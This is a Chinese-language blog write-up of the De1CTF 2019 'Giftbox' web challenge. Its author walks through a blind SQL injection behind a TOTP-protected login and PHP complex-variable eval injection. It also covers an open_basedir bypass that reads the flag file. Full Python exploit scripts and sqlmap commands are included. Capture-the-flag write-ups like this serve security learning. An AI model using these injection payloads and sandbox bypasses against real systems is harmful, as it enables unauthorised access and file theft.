avatar

目录
De1CTF Giftbox题解

一道可以学习到很多的题目,还是自己太菜了,要看大佬的wp才能完全了解透彻

[De1CTF 2019]Giftbox

题目打开,只能感慨大师傅还是大师傅,题目前端做成这个效果,太顶了

gift1

看样子是个 linux终端, 然后看一下有哪些命令可以调用

gift2

试一下相应的命令,看一下效果

gift3

看到了 usage.md 有新的 hint,尝试一下

gift4

可以看到,都需要先登陆,那就尝试一下 sql注入

sql
1
2
3
4
[de1ta@de1ta-mbp /sandbox]% login admin'and/**/'1'='1 admin
login fail, password incorrect.
[de1ta@de1ta-mbp /sandbox]% login admin'and/**/'1'='0 admin
login fail, user not found.

查看数据包,看到有个 totp,再次提交之后这个 totp 又会发生改变

gift5


查了一下 TOTP

TOTP算法 (Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。

一些要求

  • 令牌与服务器之间必须时钟同步;
  • 令牌与服务器之间必须共享密钥;
  • 令牌与服务器之间必须使用相同的时间步长

核心算法
TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X))
X 是时间间隔


然后在 main.js 找到了密钥

gift5

在这上面的注释里也给出了提示

Javascript
1
2
3
4
5
6
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1

然后跟进去看 totp.min.js 可以看到最后有新的 hint (虽然作用不大233

Javascript
1
2
3
4
Two-factor authentication implementation in pure javascript.
One-time password generator (HOTP/TOTP) with support for Google Authenticator.
@author wuyanxin <https://wuyanxin.com>
@license MIT

然后在gay吧找到了 https://github.com/wuyanxin/totp.js
(算法还是挺好理解的)

gift5

可以看到缺省值就是5

gift5

然后看了大佬的写法


获取 sql 密码

解法一

flask 搭建一个本地服务并接受参数传到靶机,然后用 sqlmap 去跑本地靶机

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pyotp
import requests
import string
from flask import Flask
app=Flask(__name__)
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
s=requests.session()
fuzz=string.printable
@app.route('/username=<username>')
def hack(username):
url='http://link-site/shell.php'
username=(username).replace(' ','/**/')
params={
'a':'login {} admin'.format(username),
'totp':totp.now()
}
res = s.get(url,params=params)
return res.content
app.run(debug=True)

启动之后 用 sqlmap 去跑

bash
1
2
3
4
python sqlmap.py -u "http://127.0.0.1:5000/username=admin*" -D giftbox -T users -C password --dump  --technique B

# 或者
sqlmap -u "http://127.0.0.1:5000/username=admin*"

得到密码: hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

解法二

来自赵师傅

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
# --- coding: utf-8 ---
import time
import requests
import pyotp as pyotp

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)

def main():
get_all_databases()


def http_get(payload):

time.sleep(0.5)

r = requests.post('http://link-site/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})

print('login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin')
print(r.text)
if 'password' in r.text:
return True
else:
return False


# 获取数据库
def get_all_databases():
# db_nums_payload = "select/**/count(*)/**/from/**/users"
# db_numbers = half(db_nums_payload)
# print("长度为:%d" % db_numbers)

db_payload = "select/**/concat(password)/**/from/**/users"
db_name = ""
for y in range(1, 64):
db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (y)
db_name += chr(half(db_name_payload))

print("值:" + db_name)

# 二分法函数
def half(payload):
low = 0
high = 126
# print(standard_html)
while low <= high:
mid = (low + high) / 2
mid_num_payload = "%s/**/>/**/%d" % (payload, mid)
# print(mid_num_payload)
# print(mid_html)
if http_get(mid_num_payload):
low = mid + 1
else:
high = mid - 1
mid_num = int((low + high + 1) / 2)
return mid_num

if __name__ == '__main__':
main()

同样会得到密码: hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}


登陆

bash
1
2
[de1ta@de1ta-mbp /sandbox]% login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
login success.

然后试一下 targeting launch destruct 等等命令

gift5

以及 hint

bash
1
2
[de1ta@de1ta-mbp /sandbox]% sh0w_hiiintttt_23333
we add an evil monster named 'eval' when launching missiles.

看到 eval 知道考点是RCE代码注入
然后网上找到了这个从一道题讲PHP复杂变量

  • php会处理双引号里面的东西,所以:
php
1
2
3
4
5
<?php
$a="abc";
$b="$a"; 输出abc
$b="\$a"; 输出$a
$b='$a'; 输出$a
  • 如果 {$ 紧挨着也会表示一个变量
php
1
2
3
4
5
6
7
8
$great = 'fantastic';

无效,输出: This is { fantastic}
echo "This is { $great}";

有效,输出: This is fantastic
echo "This is {$great}";
echo "This is ${great}";
  • bypass
    php
    1
    2
    3
    4
    <?php
    $a="${phpinfo()}";
    or
    $a=${phpinfo()};

照着上面的思路

gift9_2

Error 的 内容保存本地 可以看到就是 phpinfo

可以看到 open_basedir 限制了路径

然后看一下其他过滤

code 长度限制2位

position 长度限制12位,同样都存在 \ 的过滤(其实也简单,用 chr() 绕过)

总结一下运行过程

  • targeting code position -> 储存一条 $code = "position";
  • launch -> 将上面 targetingcode 按照字典顺序跑一遍
  • destuct -> 全部清空,恢复初始状态

然后按照上面 open_basedir绕过

php
1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

最后exp

exp1

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time
import requests
import pyotp as pyotp

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
session = requests.session()

def login():
time.sleep(0.5)

r = session.get('http://link-site/shell.php',
params={'a': 'login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}', 'totp': totp.now()})

return r.json()


def targeting(code, position):
time.sleep(0.5)

r = session.get('http://link-site/shell.php', params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()})

return r.json()


def launch():
time.sleep(0.5)

r = session.get('http://link-site/shell.php', params={'a': 'launch', 'totp': totp.now()})

return r.text


def destuct():
time.sleep(0.5)

r = session.get('http://link-site/shell.php', params={'a': 'destruct', 'totp': totp.now()})

return r.json()


def main():
login()
destuct()
targeting("a", "chdir")
targeting("b", "img")
targeting("c", "{$a($b)}")

targeting("d", "ini_set")
targeting("e", "open_basedir")
targeting("f", "..")
targeting("g", "{$d($e,$f)}")

targeting("h", "{$a($f)}")
targeting("i", "{$a($f)}")

targeting("j", "Ly8v")
targeting("k", "base64_")
targeting("l", "decode")
targeting("m", "$k$l")
targeting("n", "{$m($j)}")
targeting("o", "{$d($e,$n)}")

targeting("p", "flag")
targeting("q", "file_get")
targeting("r", "_contents")
targeting("s", "$q$r")

targeting("t", "{$s($p)}")

print(launch())

if __name__ == '__main__':
main()

exp2

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import pyotp
import requests
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
url='http://link-site/shell.php'
s=requests.session()
def login():
params={
'a':'login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}',
'totp':totp.now()
}
return s.get(url,params=params)
def destruct():
params = {
'a': 'destruct',
'totp': totp.now()
}
s.get(url, params=params)
def launch():
params = {
'a': 'launch',
'totp': totp.now(),
#'w':'''print_r(scandir('.'));'''
#img是当前目录的一个文件夹,也可以改为其他当前目录文件夹
'w': '''chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');'''
}
return s.get(url, params=params)
def targeting(code,pos):
params = {
'a': 'targeting {} {}'.format(code,pos),
'totp': totp.now()
}
return s.get(url, params=params)
print(login().text)
###phpinfo测试
#targeting('a','phpinfo')
#targeting('b','{$a()}')
#print(launch().text)
destruct()
targeting('a','{$_GET{w}}')
targeting('b','${eval($a)}')
print(launch().text)

参考

TOTP作者算法
W4nder师傅的wp
浅析DelCTF web之Giftbox题解
赵总的wp
从一道题讲PHP复杂变量
bypass open_basedir的新方法

文章作者: 晓黑
文章链接: https://www.suk1.top/2020/04/02/De1CTFGiftbox/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Manayakko - 微笑才是王道
打赏
  • 微信
    微信